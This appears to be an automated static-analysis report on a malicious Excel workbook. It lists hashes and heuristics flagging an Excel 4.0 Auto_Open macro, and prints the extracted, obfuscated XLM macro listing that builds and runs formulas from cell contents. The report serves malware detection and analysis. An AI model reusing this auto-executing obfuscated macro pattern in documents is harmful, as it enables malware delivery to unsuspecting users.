Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2dedfedef3ed60bc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:09 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: da83d677286104532a2b7828cccdcbae SHA-1: e321c731af59c983c1e27d0de32d53c490479a34 SHA-256: 2dedfedef3ed60bc23933575fe914793bf86ca9812546a574771c16e389f7779
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6658 bytes
SHA-256: 1b0b1ccc129105c1c8139ba694e30759cbde5919c626e16a7f87ba4e92e68840
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pbcJQnlLtX
' 0018     23 LABEL : Cell Value, String Constant - AekNlHCE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D175 
' 0018     20 LABEL : Cell Value, String Constant - gKQEK len=0 
' 0018     24 LABEL : Cell Value, String Constant - IHRRRSIKR len=0 
' 0018     27 LABEL : Cell Value, String Constant - lSlgpzLsJHTK len=0 
' 0018     24 LABEL : Cell Value, String Constant - ndXXSFrwG len=0 
' 0018     21 LABEL : Cell Value, String Constant - NYmXBS len=0 
' 0018     22 LABEL : Cell Value, String Constant - ovMTXBy len=0 
' 0018     23 LABEL : Cell Value, String Constant - pYUWqHDy len=0 
' 0018     25 LABEL : Cell Value, String Constant - qlOpdOPxcb len=0 
' 0018     23 LABEL : Cell Value, String Constant - RaBmkWfK len=0 
' 0018     24 LABEL : Cell Value, String Constant - taDyGSTCa len=0 
' 0018     25 LABEL : Cell Value, String Constant - tjEJGgaAiM len=0 
' 0018     24 LABEL : Cell Value, String Constant - VFFAmimpG len=0 
' 0018     27 LABEL : Cell Value, String Constant - WJadjIooledX len=0 
' 0018     20 LABEL : Cell Value, String Constant - xkBEB len=0 
' 0018     23 LABEL : Cell Value, String Constant - XLzhPSdm len=0 
' 0018     21 LABEL : Cell Value, String Constant - xzPotq len=0 
' 0018     20 LABEL : Cell Value, String Constant - YqWeb len=0 
' 0018     25 LABEL : Cell Value, String Constant - YuhwGsMWSF len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZYYWdJDid len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pbcJQnlLtX,D79,"SET.NAME("xzPotq",VALUE("0"))",""
'  pbcJQnlLtX,D83,"SET.NAME("XLzhPSdm",xzPotq)",""
'  pbcJQnlLtX,D88,"SET.NAME("NYmXBS",xzPotq)",""
'  pbcJQnlLtX,D92,"SET.NAME("VFFAmimpG",COUNTA(taDyGSTCa))",""
'  pbcJQnlLtX,D94,"SET.NAME("WJadjIooledX",COUNTA(IHRRRSIKR))",""
'  pbcJQnlLtX,D97,[],""
'  pbcJQnlLtX,D101,"SET.NAME("tjEJGgaAiM","")",""
'  pbcJQnlLtX,D106,"XLzhPSdm",""
'  pbcJQnlLtX,D110,"SET.NAME("ndXXSFrwG",HLOOKUP("*",taDyGSTCa,XLzhPSdm,FALSE))",""
'  pbcJQnlLtX,D113,"lSlgpzLsJHTK",""
'  pbcJQnlLtX,D118,"SET.NAME("YuhwGsMWSF",xzPotq)",""
'  pbcJQnlLtX,D121,[],""
'  pbcJQnlLtX,D126,"YuhwGsMWSF",""
'  pbcJQnlLtX,D129,"gKQEK",""
'  pbcJQnlLtX,D131,"pYUWqHDy",""
'  pbcJQnlLtX,D136,"qlOpdOPxcb",""
'  pbcJQnlLtX,D140,"SET.NAME("ovMTXBy",VALUE(HLOOKUP("*",IHRRRSIKR,qlOpdOPxcb,FALSE)))",""
'  pbcJQnlLtX,D144,"YqWeb",""
'  pbcJQnlLtX,D146,"tjEJGgaAiM",""
'  pbcJQnlLtX,D149,"NYmXBS",""
'  pbcJQnlLtX,D151,NEXT(),""
'  pbcJQnlLtX,D155,"RaBmkWfK",""
'  pbcJQnlLtX,D159,"SET.NAME("f",INT(T(FORMULA(T(tjEJGgaAiM)&"",""&T(RaBmkWfK)))))",""
'  pbcJQnlLtX,D161,"AekNlHCE",""
'  pbcJQnlLtX,D166,NEXT(),""
'  pbcJQnlLtX,D171,RETURN(),""
'  pbcJQnlLtX,D201,"SET.NAME("ZYYWdJDid",D79)",""
'  pbcJQnlLtX,D205,"taDyGSTCa",""
'  pbcJQnlLtX,D209,"SET.NAME("IHRRRSIKR",R64C14)",""
'  pbcJQnlLtX,D213,"SET.NAME("AekNlHCE",222)",""
'  pbcJQnlLtX,D217,"SET.NAME("xkBEB",4)",""
'  pbcJQnlLtX,D221,ZYYWdJDid(),""
'  pbcJQnlLtX,D222,HALT(),""